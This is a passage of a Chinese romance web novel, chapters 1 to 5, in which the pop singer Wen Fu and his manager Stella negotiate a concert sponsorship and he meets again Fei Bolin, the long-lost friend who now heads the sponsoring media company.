《年少无名》 1. 第 1 章 [] 二零二三年,十一月,锦城,双流机场。 温伏戴着黑色口罩,一身同色冲锋衣,双手插在口袋,低头疾步走在通向出口的VIP通道上。 助理周纪看了看他一头睡得横七竖八的头发,赶紧从包里拿出一顶毛线帽:“戴上。” 他从周纪手上接过帽子,快速往头上一戴,又把帽子边沿往下扯,额前的头发被压到眉毛处,几乎快要遮住那双睫毛乌长的眼睛。 “好好戴,”周纪伸手给他整理了一下,“待会儿Stella看见又要念叨了。” 温伏的头发黑而硬,本人又不爱做造型,加之这两年行程繁重,他时常一上飞机就蒙头大睡,睡完下来脑袋就乱得不成样子,因此助理的包里随时准备着一顶帽子。 出口处停着一辆等候多时的黑色商务车,左右两边大概有十几个粉丝等着接机,温伏照旧在上车前对着她们挥手告别,两个助理从粉丝手里接过信件也跟着上了车。 作为内娱目前热度持续上走的新生代流行歌手,温伏实在是太过不修边幅,空有一张3D建模似的脸,每次私人行程都恨不得把自己裹得密不透风,媒体和粉丝能看见他露面的机会只在节目和商务广告里。 除此之外,也就只有跟行程的一部分粉丝在接机和送机的间隙能跟他短暂地照个面。 上了车,Stella坐在温伏旁边,给他递过去一盒提前买好的沙拉:“待会儿我要去跟演唱会准备拉的一个赞助商开会,要是顺利,大体的赞助就基本敲定。公司这两年缺钱,这个赞助是条大鱼,如果能说动,这场演唱其他就都是小问题。你最好跟我一起去。” 温伏拉下口罩,露出因为疲惫而略显苍白的脸,接着动手把沙拉里的牛肉先吃光了,又吃鸡蛋:“不去。” 他说话的声音又轻又快,音量也小,如果是寻常人听他说话起码要听两三遍才能听清,不过助理和Stella已经习惯了。 温伏说不去不是耍大牌,而是根本不适合这种场合。Stella也清楚,出道那么多年,他就是天生的沉闷,这一点改不了。他不喜欢跟人交流,除了唱歌和参加节目,平时基本上是非必要不开口,如果一定要跟谁交谈,就会用最快最短的语句完成沟通。 这种性格按常理来说在娱乐圈根本混不下去,不过好在温伏从出道起,一直带他的就是Stella——国内最顶尖最有能力的经纪人。 Stella作为内娱经纪人天花板,这个名字本身就是一个招牌。 原本像她这种级别的经纪人是不会把工作重心放在温伏这种不知名的小糊咖身上——在这种圈子里红不红本来就靠命,即使温伏是她一手带出来的,可Stella带过的人海了去了,能透头顶的也就那么一两个。内娱最不缺长得好看又有实力的糊咖,红是玄学,温伏不争气,也没什么野心,出道好几年依旧是不温不火,别说在娱乐圈,光是在公司就已经逐渐被边缘化了。 好巧不巧,前两年“塌房元年”,Stella手底下流量最大的两个艺人接连触碰红线被封杀,连带着公司主投的几个影视项目也黄了。 剧拍了播不出来,涉事艺人不是坐牢就是逃到海外,几个亿的投资款全部打了水漂不说,公司还被与艺人有合作的品牌方追责打官司,倒欠了上亿债款,可谓是亏本亏到了姥姥家,连累Stella在圈子里的信誉度也岌岌可危。 结果在这个风口上,温伏因为一支随手拍的唱歌短视频意外出圈,热度忽然起飞,成了公司的救命稻草。虽然不是一夜爆红的顶流,但好歹算从十八线变成了三线,叫出名字能让人有点印象的程度。 从那以后,温伏被公司当成了摇钱树,最好的资源往他身上捧,最好的经纪团队围着他转,Stella也急需一个艺人做出成绩逆转口碑,对于温伏也拿出了前所未有的重视。 天时、地利、人和,按理一个明星走到这儿就该迎来人生巅峰飞黄腾达了,可温伏没这个运气。 公司为了填补资金漏洞,开始让他全年无休地跑商演、接项目,只要能挣钱,什么活儿都让他接,巴不得让他一天工作二十五小时。 也就是到了这当头,所有人才发现,温伏性子闷归闷,但有活儿是真干,团队安排的行程从来都是一声不吭就上了。最累的时候一天四趟飞机五场商演加一个音综,跑完以后两百万演出费公司抽一百八十万的成他也不反对。 说难听点,这人简直是活该吃苦的命。 公司最好的那几年他站边上,穷途末路了又让他挑大梁。 温伏的大梁挑得任劳任怨无怨无悔,只有一件事没得商量:他不爱跑饭局和交际场。 大家清楚他的性子,那么多苦都让他吃了,这种事情上自然该让步就让步,不是本人非去不可的场合基本都尊重温伏的意见。 “真不去?”Stella又问了一遍。 温伏摇头,吃完鸡蛋最后开始扒菜叶子和胡萝卜,有一口没一口地往嘴里送。 他不喜欢吃菜,喜欢吃肉。 也不喜欢吃沙拉和健身餐,喜欢吃白米饭。 温伏本就清瘦,是个怎么吃都不长肉的体型,一只手伸出去能看到手背明显的青筋和骨节。偏偏Stella还保留着自己以前带一线顶流时的规矩和习惯,不允许自己手下任何一个明星摄入过多碳水——尤其是米面。以前温伏糊,没人管,现在他也逃不过被一视同仁地要求控制饮食的命运。 Stella看他一言不发地往嘴里塞菜叶子,忽然饶有兴趣地问:“你知不知道这次要拉的赞助方是哪个公司?” 温伏还是摇头,专心跟手里的青菜过招。 Stella:“思服传媒。” 温伏用鼻子应了一声,头都没抬一下。 管它是思服传媒还是忘服传媒,他从不关心这些东西,听都没听说过。 “思服传媒来跟我们谈的人是他们的执行董事——执行董事。”Stella特意重复了一遍,“看得出人家很重视你了吧?” 她没指望温伏对此能说出个四五六来,所以开门见山地问最后一句:“知道他们来的这个董事叫什么吗?” 温伏摇头,咽下一口西兰花,决定剩下的沙拉说什么也不吃了。 刚要盖上饭盒时又瞥见袋子上的收据,看见这盒沙拉的价格是220元。他顿住手,重新拿起叉子,决定说什么也要吃完。 正把下一口青菜往嘴里送时,温伏听见Stella说:“费薄林。” 送到嘴边的菜停在半空。 像钥匙插入锁孔,咔哒一声,温伏一下子被定住了。 他的目光停滞着愣了有足足一分钟,才慢慢转过头看向Stella:“什么?” 温伏本身非常好看,长得像个瓷娃娃。浓密的睫毛下有对很黑的眼珠子,像他的眉毛和头发,乌漆漆的,又冷又硬,常年没有温度,找不出任何情绪起伏。 此刻他望着Stella,神色仍是平静的,这是他生来性格很难起波动的缘故,盯着人时却有一股无声的压迫气息。 “费薄林。” 对于他这样的反应,Stella这种人际老油条自然不会紧张,甚至可以说相当满意,几乎在心里雀跃发笑。 就好像看见一个自己亲手养大的机器人突然出现了故障,被植入了人类的灵魂。 再枯的死水也有被激活的一天嘛。 于是她缓缓露出一个微笑,又口齿清晰地重复了一遍那个名字。 ——费薄林。 温伏又愣了很久。 这期间他把Stella的神色探查了个遍,反复在她的脸上确定是否有开玩笑的成分在。 接着他问:“哪个费薄林?” “你认识几个费薄林?”Stella故意反问。 温伏眨了眨眼,把视线垂了下去,手也放下叉子,搭在了膝盖上,陷入长久的寂然。 Stella看他这反应觉得太有意思,也不再绕弯子:“费薄林的费,费薄林的薄,费薄林的林。” 她滴水不漏地解释道:“八年前陪着你海选,面试,又亲手把你送上飞机的那个费薄林——这下你愿意去了吗?” 温伏:“不去。” Stella:“真不去?” 这会儿又不是当年哭着闹着要回国找他的时候了? 温伏沉默了一秒:“在哪?” Stella一下子笑出声:“现在就在路上了。” 温伏的视线投向前方:“还有多久到?” “嗯……”Stella看了看路标,“不到两公里吧,估计五六分钟,这会儿不堵。” 五分钟。 温伏大脑空白,脑子里飘荡着这几个字。 五分钟…… 他好像一瞬间就不知道该干什么了。 过了会儿,温伏突然想起手里的沙拉还没吃完,估摸着时间来不及了,干脆捧起饭盒,仰着脑袋把沙拉往嘴里刨。 “注意!吃相!”Stella咬牙切齿地提醒他,说一个词就往他胳膊上打一下,对于温伏近乎于无的形象管理简直恨铁不成钢,“待会儿又让人拍到怎么办?你知不知道上次光从狗仔手上买你吃饭的照片就花了我十八万!” 上个月温伏录制黄台一档专业音乐节目,因为抽签抽到最后一个登台,录音设备又出了问题,全程录下来整整花了六个小时。节目组不管饭,嘉宾室里只有赞助商的酸奶,他录制一结束,就跑到录制厅大楼下买了份八块钱的炒饭坐在花坛边吃了,吃得那叫一个狼吞虎咽风卷残云,被狗仔拍下来的照片足足三个G。 好在狗仔爆照之前先找了Stella这边协商,照片里温伏大马金刀地坐在花坛边低头刨饭,一张张高清图像投到办公室大屏上时,Stella气得头风都要犯了。 这边Stella下狠手打,那边温伏喉结几个滑动,连嚼带咽地把半盒沙拉吞了下去。 放下饭盒,温伏露出被杂乱的刘海遮住额头的半张脸,两腮肌肉鼓动,沉默但用力地咀嚼着菜叶子,任Stella怎么打,他都不为所动。 Stella看着他那副跟长相完全悖反的吃相,白眼都快翻到天上,直接用老家的广东话骂道:“饿死鬼投胎!长个模特身,吃饭似野人!” 商务车驶入隧道,车内倏忽暗了下去,Ste 2. 第 2 章 [] 思服传媒的工作室就在CBD一栋写字楼上,现在是晚上十点,照理讲没有在这个时间点开会的道理,但思服那边的工作人员表达了会议尽早完成赞助就尽早确认的想法,Stella这边作为乙方自然求之不得。 温伏踏进电梯,身边两个助理把跟在后面的几个私生粉拦在了楼下。电梯缓缓上升,温伏的脑海中只剩之前在搜索引擎上看到的文字。 思服传媒,成立于2017年,注册资本一千万,在短视频潮流席卷的五年抓住风口迅速崛起,从一个小公司快速发展成国内互联网经纪公司的巨头之一,在网络视频和电商行业都创造了不小的影响力,创始人兼执行董事的名字,叫费薄林。 二十二楼的会议室里,费薄林坐在办公椅上,正垂眼凝视着手里的手机屏幕。 他今天穿的一身GA秋冬定制,深灰的西服,外面套了件黑色大衣,鼻梁上架着一副金丝眼镜,会议室的角落里放着一个20寸行李箱,这儿是他从国外回来落脚的第一站。 手机屏幕显示着他和Stella的私人聊天框,界面停留在五分钟前Stella给他发送的最后两条消息: 【Stella:他同意过来了】 【Stella向你推荐了:[个人名片]】 【Stella:这是他的微信。】 费薄林点开那个名片,温伏的信息界面出现在手机屏幕上。 因为他没有向温伏请求添加好友,所以那个界面此时无比简洁,看不到朋友圈动态,只有一个小鸟在天空飞翔的头像和一个昵称:【妹妹】 温伏的微信昵称叫妹妹。 费薄林的指尖在“添加好友”那一栏的选项上停留了很久,始终没有点击下去。 突然屏幕上方弹出窗口,是谢一宁给他发来了新消息。 费薄林点开。 【是一不是零:组长,你回国了?】 【Lin:嗯】 【是一不是零:什么时候回来的?】 【是一不是零:怎么不提前说一声?】 【是一不是零:我们来接你啊】 谢一宁发了一串儿消息,费薄林正要挨个回答,就看见对方问了一句话。 【是一不是零:你去找哆来咪没有?】 费薄林指尖一顿。 谢一宁还在聊天框里喋喋不休。 【是一不是零:就是温伏】 【是一不是零:你还记得他吧?】 【是一不是零:现在是明星了,你知道吗?】 【是一不是零:当年我就说他唱歌那么牛可以试试出道来着】 【是一不是零:不过他□□注销了,手机也换了,根本联系不到】 【是一不是零:你怎么不说话?】 【是一不是零:你还在吗?】 费薄林失笑,接着在键盘上打出两个字发送过去。 【Lin:在找】 【是一不是零:在找?找什么?】 【是一不是零:哦哦你说温伏啊】 根据谢一宁的经验,费薄林这么简略地回消息大概率是在忙,所以她决定不再打扰。 【是一不是零:那你空了说一声,咱们几个一起吃个饭】 【Lin:好】 消息刚发出去,会议负责人就在费薄林耳边低声说:“费董,他们到了。” 话音未落,会议室外响起一阵敲门声。 助理上去开了门,Stella穿着高跟鞋最先进来,一见费薄林先点头打了个招呼:“别来无恙,费董。” 费薄林从椅子上起身,伸出右手和Stella握了一下:“你也是,黛姐。” Stella一边握手一边跟他用玩笑的口吻客套,算是拉近俩人多年不见的距离:“八年了,费董现在叫我黛姐,我可受不起了。” 费薄林示意她在对面坐下:“什么时候您都受得起。” Stella哈哈一笑,意有所指地问道:“费董不会生气我前些年做的事吧?” 这几句有来有回的招呼问得隐晦,颇有些你知我知的意思,既使旁人听不懂,又明里暗里表现出他二人有些渊源的样子,叫这层合作关系瞬间看起来并不那么简单。 费薄林也只是笑了笑,金丝眼镜后的双目往下微垂,遮住眼底神色,不置可否。 下一秒,门外走进Stella的两个助理,依次在Stella右边坐下。 随后费薄林便看见了踏进门的温伏。 对方显然也在看着他。 温伏停在门口,被帽子压低的头发和口罩几乎挡完了他的脸,可费薄林还是一下就望进了温伏的眼睛,像多年前两个人第一次见面那样。 那双眼睛像一对看不到底的黑色玻璃珠,藏在浓密的眼睫下,十年如一日的冷淡、漠然,没有任何杂质,只有在望向费薄林的时候会透出一点有情绪的光亮——但也仅仅是一点。 费薄林看见温伏的刹那间有些恍惚,仿佛十年光阴并没有在温伏身上留下什么痕迹,这个人还没长大,与十六岁时无两,寡言少语,纯粹干净,谁接触他都像隔着一层玻璃,生来疏离,看得清却靠不近。 “温伏?”Stella扭过头冲门口说,“怎么不进来?” 温伏错开视线,快步走到会议桌前,挨着Stella坐下。 会议负责人关上了门,走到会议桌前方:“既然人都到齐了,那咱们尽早开始尽早结束吧,毕竟现在时间也不早了……费董?” 费薄林一只手屈指扣在桌面,还站在椅前,似乎尚未回神。 “……费董?” 等负责人轻轻喊了两声,他才如梦初醒地抽离目光坐了回去,冲对方点头示意:“不好意思,开始吧。” 会议桌的另一边,温伏听到费薄林的声音后,轻轻垂下眼,摘去了口罩。 来自Stella工作室的负责人正翻着一页一页的PPT对着费薄林讲得口干舌燥,PPT上大半内容都与温伏有关,从市场分析到歌手个人市值再到影响力、风险和投资收益评估,温伏在与会者嘴里简直快变成个天上有地下无的珍宝。 费薄林聚精会神地看着屏幕,PPT翻动时的光反衬到他金丝镜框的镜片上,眼镜下费薄林的鼻梁笔直挺拔,五官和轮廓在闪烁的光影中模糊而柔和。 他的神色沉着平静,关于PPT上有关温伏的一切,他宛若第一次了解般听得很认真。 这样的会议对温伏来说是乏善可陈的,出于礼貌他不会玩手机,如以往偶有几次的次参会那样,温伏只打算安静地坐在椅子上垂眸发呆。 与过去不同的是,以前这样的时刻他满脑子只有家里没完成的乐谱、写到一半的歌词还有编曲的分配,只偶尔某些间隙会想起费薄林这个名字。 这回他还是静默,眼神却打在了费薄林的身上,带着点探究和茫然。 ——八年前温伏被Stella送到国外参加特训,当时他和费薄林正在冷战,上了飞机也在赌气,等到心里那点脾气冰消瓦解时,才发现费薄林已全然没了消息。后来温伏好不容易回国,却再也找不到对方的踪迹。 费薄林人间蒸发,杳无音讯数载,今天又从天而降,以费董的身份出现在他的眼前,像过去的一切都未曾发生一样坐在他的对面。 是他气生得太久,没给两个人留下余地,还是如今这个人根本不是费薄林? 难道会有人又撞名字又撞脸吗? 温伏盯着对面陷入沉思,努力分辨着眼前的费薄林是不是记忆中真正的费薄林。 等看得久了,费薄林转过头时,他又把眼移开。 费薄林再看向PPT,温伏又盯回去。 他发呆时的目光很直白,定格在会议桌对面的人身上,眼珠几乎一动不动。 其实不管看多久,答案都显而易见——世上只有一个费薄林。 无论是八年前还是八年后,在温伏面前的都是相同的人。 八年前他们是籍籍无名的穷小子,能窝在三十平的房子里吃同一份盒饭;八年后意外相逢,一个是未来可期的歌手,一个是身价上亿的费董,却形同陌路。 今夜一切都很猝不及防,就像温伏的神经仿佛还停留在车上没有反应过来,人却先跟着Stella来到了这个会议室。看到费薄林之后他仍然没有反应过来,会议又在一个半小时后轰的结束了。 Stella站在他身侧拍拍他的背,心情颇为愉悦:“走吧,大明星,赞助搞定了。 3. 第 3 章 [] 电梯门已经开了两秒,但他们谁都没动。 温伏微不可查地往费薄林的方向歪了歪头,好像在等待着什么。 而费薄林在与他对上目光的那一瞬就立马收手,把眼睫低垂了下去。 接着默然片刻,抬脚踏进了电梯。 温伏注视着费薄林,若有所思。 不过他没说话,跟着进了电梯,与费薄林一起沉默在小小的轿厢里。 温伏脑子里还琢磨着刚才的画面,他看向反光的墙面,突然意识到自己戴了帽子。 也许是因为这个让费薄林感到了不便。 于是他一声不吭地把帽子摘了下来,露出睡得炸毛的头发,跟他的睫毛一样乌浓的发梢顿时横七竖八地四处飞翘起来。 费薄林:? 费薄林在镜面中看到温伏这一举动,不明所以地愣了愣,接着他发现温伏口罩上方那双黑漆漆的眼睛正从镜子里望着他,跟他的视线对上后眨了眨眼,仿佛在等待着什么。 他还没来得及思考,电梯门开了。 等电梯的过程很漫长,坐电梯的时间却过得飞快,好似不过几个眨眼,他们就到了地面底楼。 温伏的商务车在F1后门,而费薄林则要去LG1停车场,他们不在同一层楼的出口。 温伏离开时在电梯门口停顿了一瞬,似是不经意间侧过头瞥了费薄林一眼。 直到离开电梯,费薄林都没有再朝他伸手。 等温伏出去以后,费薄林面前的电梯缓缓合上,下降至负一楼又打开。 从这里出去右拐到B2区,费薄林的司机正在车里等他。 然而他停驻在梯箱里没动,甚至连脚都没往前抬一下,只是伸手按亮F1的按键后,又按下了关门键。 回到F1,费薄林慢慢走向写字楼后门。 他站在温伏离开的那道双开玻璃门前,从大衣口袋里伸出手,修长的五指握住直立的铝合金门把手,那上面似乎还残留着温伏掌心的温度。 费薄林推开门出去,深秋的寒风扑面袭来。 后方这条街的人行道上漆黑一片,偶有几个行色匆匆的过客,尽头处连接的那条大路远远看着却是霓虹闪烁,灯火辉煌。 费薄林伫立在夜幕下,凝望着远处的黑色商务车渐渐驶去,无声目送温伏的离开。 直到商务车在尽头转弯,彻底消失不见,他才终于自顾自地颔首呢喃:“小伏,好久不见。” - 车内相当安静。 Stella脱下细高跟换了拖鞋,半躺在座椅上,因为才谈成一笔不小的投资,此刻处于身心舒畅状态。 出于无聊她往左瞅了一眼温伏,对方正坐在位置上发呆,一言不发地维持着待机状态,没人知道他脑瓜子里在想什么。 Stella百无聊赖地把头转回去,心思一转,拿起手机点开和费薄林的私聊页面。 【Stella:费董加上他了吗?】 她发完这条消息就把界面切了出去,根本没指望一个日理万机的执行董事能秒回信息,更何况这个人还是几年前被她亲手删掉的费薄林。 过了五分钟,手机出现了震动提示音,Stella一看,是费薄林回复了。 他的回答很简洁。 【Lin:没有】 Stella挑了挑眉,理智告诉她这个时候应当点到为止,别人的私事不再过问,可她不能容忍到嘴的鸭子就这么飞了——万一温伏把人得罪了,思服传媒取消赞助怎么办? 要真是温伏没通过费薄林的好友申请,她就是抢了温伏的手机也要帮忙通过。 于是她厚着脸皮关心了一下。 【Stella:怎么了?他没同意?】 【Lin:不是】 看样子对方没有要跟她深入交流的意思,Stella叹了口气,正要关上手机,又收到费薄林的新消息。 【Lin:他在生我的气】 Stella第一反应是松了口气。 原来是在担心啊。 担心好啊,担心是一个男人最好的嫁妆。 一直担心,就一直有赞助。 她假惺惺地安慰了两句。 【Stella:温伏心眼少,脑筋直,一根通到肚,心里想什么我一眼就能看出来。真生气了他今晚就不会来了,您放心吧】 说完她又想了想,感觉自己这句话有点略失分寸,于是又补充了一句。 【Stella:当然,我再了解肯定还是没有费董了解他。他脾气怎么样,费董最清楚不过】 也不知道那边费薄林听进去没有,过了好一会儿,她才收到回复。 【Lin:嗯】 话已至此,Stella安心收了手机,心情之美妙比起十分钟前更有过之而无不及。 连带着身边雕塑一样的温伏都顺眼了不少。 她美滋滋地扭头去看这位“缺心眼”,发现温伏已经从走神的状态抽离出来,现在正举手试试探探地去摸自己头顶的头发,摸完以后又把手放下来,对着摊开的掌心做沉思状。 Stella无语:“你又在干吗?” 温伏抬眼:“我的头发,很扎手吗?” Stella:“……” 完全无法在此人身上感受到生气这种情绪呢。 真想把费薄林抓到车里来看看,他笃定在生气的人此时满心琢磨都是些什么八竿子打不着边的问题。 Stella把温伏的手按下去,正色道:“好啦,别研究你那头发了。我这会儿说说你接下来一个月的行程。” 她点开手机备忘录:“这个周和下下周的两个周末,一个是微博之夜,一个是V家杂志晚会,两个都必须去,不能推掉。就走个红毯,很快的。下周二周三去长沙参加《声声入耳》的最后一期录制。明天回川大上课,你导师让回去开会。周一周四和周五总共七场商演和一个品牌线下活动,我尽量把时间跟主办方协调一下,免得你赶飞机来不及。参加完V家杂志红毯后面的两个周有一个川西的户外驻地真人秀,是还黄台让你参加音综的人情,这个也推不掉。” 温伏点点头,没有异议。 Stella捡起他座位旁的帽子给他戴上:“马上到你家了,帽子口罩戴好,尽量少出门,要出门的话叫上周纪,跟异性朋友保持距离。还有——” Stella顿了顿,着重强调:“不准偷吃那些高油高盐的东西,尤其是泡面。” 温伏正戴口罩,听见Stella的警告动作一僵,刚打算抬头辩驳,还没张嘴,就对上Stella毫无商量余地的眼神。 他低头把口罩戴好,敷衍地应了一声,等车停在小区门口以后,下车取了行李和吉他便往家去。 Stella从车窗往外喊:“明天八点,周纪来这儿接你去学校啊。” 温伏往后招了招手,没有回头。 4. 第 4 章 [] 第二天温伏灰着一张脸起床。 其实他醒那会儿闹钟还没响,温伏迷迷糊糊睡了两个小时睁眼,一看时间才六点四十,外头天都没亮。 他光脚下床,踩上地板,鬼使神差地走到窗边,不知怎么想的,一把拉开了遮光窗帘。 清晨起了大雾,凭窗望去,一切景象都朦朦胧胧,像横亘着一片烟。 温伏看了看天上的月亮,视线下垂,忽然望见楼下花园中的人。 隔着雾气那是一个很模糊的身影,靠在长椅上一动不动。他的位置距离温伏很远,天色漆黑,只有小区路上一盏路灯发出的光晕笼罩下来。 不仔细看,那点影子几乎隐没进黑暗,成为夜幕的一部分。 可温伏还是一眼认出了费薄林。 对方仍旧是昨天的装束,微微仰头看着温伏的窗户,金丝眼镜折射出一点依稀的微光。仿佛这个人彻夜未归,就在楼下对着温伏的房间坐了一夜。 兴许是没料到温伏会突然开窗望过来,两个人目光对上时,长椅上的身影明显僵住。 而温伏也愣怔了两秒,眨了眨眼,随即转身往楼下跑去。 他没有穿鞋,进了入户电梯到楼下,不过半分钟的时间,踏出大门时,长椅上的身影就已不见了。 寒风朝他打了个冷浪,灌进睡衣领口,一股冰冷感从地砖传到脚心,温伏对着茫茫白雾呵了口气,估摸着是自己睡得太少出现了幻觉。 他住的这个小区都是密度很低的矮层建筑,每栋楼之间都隔着大片花园,一梯一户高度绿化,安保设施非常严密,不是户主根本无法进入,费薄林也不可能莫名其妙地出现。 前些年温伏一直租住在三环外的一个普通小区内,这两年频频被私生粉骚扰,才拗不过Stella的要求搬到了这里。 他身上只穿了单层的棉麻睡衣,这会儿回过神,便察觉到冷了。 正要回去的当儿,温伏握在掌心的手机发出了一阵震动。 先是闹铃,随后周纪的电话就打了过来。 温伏接到耳边,垂头看着被冻红的脚尖,声音低低的:“喂?” 对面温声道:“温伏,起了吗?” 周纪只比温伏大一岁,但入行比温伏久得多,大专一毕业就进圈子给人当了助理,温伏不是他跟的第一个,也不是最火的一个,却是给人开工资最高的一个。 干他们这行,生活助理是最没价值的,给一线明星当牛做马到头来一个月也就三四千顶了天,还不包五险一金,但在温伏身边这几年,周纪一年能挣个二十来万。 温伏节俭,对身边的人却不吝啬。好像这个人当明星挣的钱就只为了让自己吃口饱饭似的。 那口饭也很好满足,一盒泡面温伏就能对付。 多赚的那些钱温伏是一点想法也没有,不是让公司随便抽成就是给团队的人包成年终红包,再有多的,就逢赈灾的时候全捐了。 周纪混圈子那么多年,第一次见名利场中还有这么不爱钱的。 Stella也隐晦地提醒过温伏:“就不想存点钱买个房子什么的?” 温伏只是摇头,看起来对定居这件事并无打算。 费薄林还没有找到,他不知道自己要住在哪里。 周纪在电话那头打了个哈欠:“我出门了,大概半个小时到你那。你收拾好了就下来吧,今天降温,记得多穿点儿啊——有什么要给你带的吗?” 温伏走进电梯,想了想:“咖啡。” “行。” 挂完电话,温伏回到家里,先打了个喷嚏。 他站在玄关处发了会儿呆,决定趁还有时间先洗一个热水澡。 昨晚几乎彻夜未眠,再加上今早滴水未进,等洗完澡出来,温伏没察觉到自己走路的步子都有些轻飘飘了。 他套上昨晚拿出来的羽绒服,还是一身黑色牛仔裤和板鞋,戴着帽子口罩六神无主地出了门。 一上车,周纪递来一碗热腾腾的燃面:“吃吧,趁黛姐不在,我偷偷给你买的。” 说完又把咖啡塞到温伏手里。 温伏仰头先灌了半杯咖啡。 周纪忍不住提醒:“先吃饭。咖啡别喝太急了。” 虽然是助理,但周纪多数时间看温伏更像看自己的弟弟。 不止是他,团队里的人跟温伏处久了都是这样的心态。 温伏不爱说话,熟悉了以后就会发现他的孤僻并非空穴来风。这个人私下没什么朋友,手机通讯录里除了公司和团队以外找不到别的联系人,就连父母这样的角色也在温伏的生活里从未出现过。 大家嘴上不提,实则看在眼里。有好奇心重的私下问过Stella,Stella对此也是闭口不言。加之平时温伏生活方面粗心大意,有点诸事都对付着来的意思,饿了就乱吃东西,冷了也乱加衣服,譬如不吃饭就洗澡,困了就空腹灌咖啡,听说降温就直接往身上套最厚的羽绒服……等等等等,被人提醒才知道这些事也要分先后讲循序,一看就是打小没人教过。 即便所有人都不想用这个词来形容他,但温伏的的确确是个生活白痴。 日子一长,大家伙习惯了,生活琐事上也会盯着他,免得他成天糊里糊涂地过。 温伏很听话地放下咖啡,端起了面。 接着挑起筷子,张开嘴,闹饥荒似的暴风吸入。 周纪:“……” 周纪扶额叹了口气:“吃慢点,这儿到你学校得要半个小时呢。还好Stella不在,不然看见又要骂人,你这毛病怎么就改不了呢。” 温伏一言不发,闷头只管吃。 等他把脸从碗里抬起来,周纪一瞟,头顶青筋突突直跳。 温伏不明所以:“怎么了?” 周纪:“面打你了吗?” 怎么会有人吃面把油溅到眼角上啊! 是跟面打了一仗吗?! 他“唰唰”抽了两张纸巾,套在指尖上,朝温伏伸过去:“别动。” 温伏本在往后躲,周纪一说他就僵着不动了。 等周纪指尖顶着纸巾擦拭他的眼尾时,温伏微微别开脸,睫毛不受控制地颤了两下。 周纪一边擦一边想:小蝴蝶。 他笑道:“你这眼睛眨起来跟你那纹身还挺像。” 温伏没听清:“什么?” 周纪收手:“没什么。离到学校还有段路,再睡会儿吧。” 温伏说:“不睡了。” 他把剩下那点咖啡喝完,精神总算强打着回来了点。 周纪观察半晌:“我瞧你脸白过头了啊,昨晚没睡好?” 温伏额头抵在车窗上,垂下眼睫,似有若无地“嗯”了一声。 “失眠了?”周纪问,“想什么去了?” 温伏不说话。 车里沉寂片刻,天隐隐亮了,一副将雨不雨的架势。 周纪觑着天色,扭身探到后排拿包给温伏找伞。 温伏按开车窗迎风往外看,忽然问道:“会下雪吗?” “下什么雪啊,”周纪一边翻包一边笑,“年年冬天你都这么问。锦城是南边,又不是东北,哪那么容易下雪。” 车开到川大门口,天又放晴了,周纪只好把伞收起来,对着温伏念叨:“学校里人多,我就在外头等你,你开完会出来打电话。” 温伏一面下车一面点头。 “还有……”周纪抓住他胳膊,张了张嘴,想提醒他注意尾随的那些私生粉,可又觉得提醒了也没多大用,于是又放开,“算了,你先去上课吧。” 组会开了三个小 5. 第 5 章 [] 隔着一层玻璃,费薄林正在母婴店里挑选东西。 温伏上楼时他正好从货架前抬头,两个人四目相对,都怔在了原地。 今天的费薄林还是戴着眼镜,衣服也从昨天的商务正装换成了宽松的毛衣和外套,整个人看上去休闲不少。 他对上温伏的第一眼,首先把手里的母婴用品放下去,免得温伏误会。 可温伏无动于衷,口罩遮住了下半张脸,眼睛冷冰冰的,一言不发地盯着他。 费薄林心乱了一瞬,刚要抬脚走出去,就见温伏跟只兔子一样,嗖地转身跑下楼,眨眼就消失不见。 温伏跑得有多快他是最清楚不过的,费薄林正追出母婴店,手机就响了。 苏昊然在电话那边急得打转:“组长,你到哪儿了?由由等不住了。” 费薄林看了看楼下来来往往的人流,又回头看了一眼商店,难以察觉地叹了口气,稳住声音回复道:“三十分钟。” 半小时后,麒麟扒房。 费薄林提着一袋尿不湿走进包间,苏昊然抱着宝宝从他手里接过:“你跟宁宁先聊,我带由由去换尿不湿。” 说完就朝无性别洗手间奔去。 谢一宁坐在椅子上,有一搭没一搭地扒拉甜点,先是瞪了苏昊然一眼:“快点的吧。” 又对费薄林招呼:“组长,坐。” 他俩跟费薄林都是高中同学,读书那会儿就在一个小组,费薄林是组长,谢一宁是班长,苏昊然是个富二代,成天吊儿郎当什么也不做,高中三年最引以为傲的就是毕业那天让谢一宁做了他女朋友。 后来费薄林创建思服传媒,苏昊然和谢一宁投资两百万当了合伙人,一九年底费薄林去国外谈合作,遇上疫情耽搁了几年没回来,国内这边的落地的项目就一直由他们代为处理。 谢一宁是个不婚主义,去年和苏昊然生了个女儿,取名谢由。谢由出生以后,苏昊然就把自己在思服的所有股份转到了谢一宁名下,自个儿专心在家做奶爸,成天围着女儿转。 直到今天,三个人才有了这几年来除视屏会议以外的第一次会面。 也是今天,费薄林第一次不是隔着一层手机屏幕见到谢由。 结果面还没见到,谢由先拉裤兜里了。 苏昊然抱着孩子换完尿不湿回来,正听谢一宁骂:“都跟他说了出门记得带尿不湿,硬是跟我死犟,说孩子这个时间段不会拉。这下好了,拉他一裤子。” 苏昊然坐回位置上笑得一脸无赖,把脸躲在谢由身后,举着谢由的胳膊招手,学起小孩子的腔调:“还是母亲大人,神机妙算!” 谢一宁一个纸团扔过去:“去你的。少跟我油嘴滑舌。” 谢由不到一岁,听不懂大人吵什么,踩在苏昊然大腿上跟着咯咯笑。 苏昊然把孩子放到费薄林怀里,费薄林逗了会儿,觉得这几个月大的小孩儿真是粉雕玉琢的好看。 他从衣服里拿出一个小盒子,推到谢一宁跟前:“给由由在大慈寺求的平安符。” 不管是费薄林还是谢一宁现在的家庭条件,送孩子黄金或者高奢珠宝都不稀奇。比起这些,亲自去寺庙求的平安符倒更有意义。 谢一宁果然爱不释手:“那我可就收下啦。” 费薄林不太会抱孩子,怕谢由在自己怀里不舒服,搂了会儿就还给苏昊然,这时候忽然听谢一宁问:“欸组长,昨天我给你发消息那会儿你在哪儿来着?” 费薄林说:“锦江那边。怎么了?” “哦……”谢一宁若有所思,“你不是说你在找哆来咪吗?找到了没?” 费薄林沉默了一下。 谢一宁捕捉到他的神色,没等他回话,就说:“我刚才刷到个帖子,好像哆来咪昨晚也在那儿。” 费薄林一愣:“帖子?” “有人说他耍大牌。”谢一宁说着,就把手机拿出来,在屏幕上划拉了几下,翻到那个帖子,递给费薄林,“喏。你看照片上的人像不像哆来咪?” 费薄林低眼一瞥,神色冷峻了下去。 - 温伏以为自己又产生幻觉了。 他从三楼往回跑,全然忘了先前去四楼吃饭的打算。 直到跑回底层,遮在脸上的口罩放大了耳中的呼吸声,温伏喘着气,一股积压许久的疲惫感从身体中席卷而来。 他突然感觉自己跑不动了,并且迫切地需要休息。 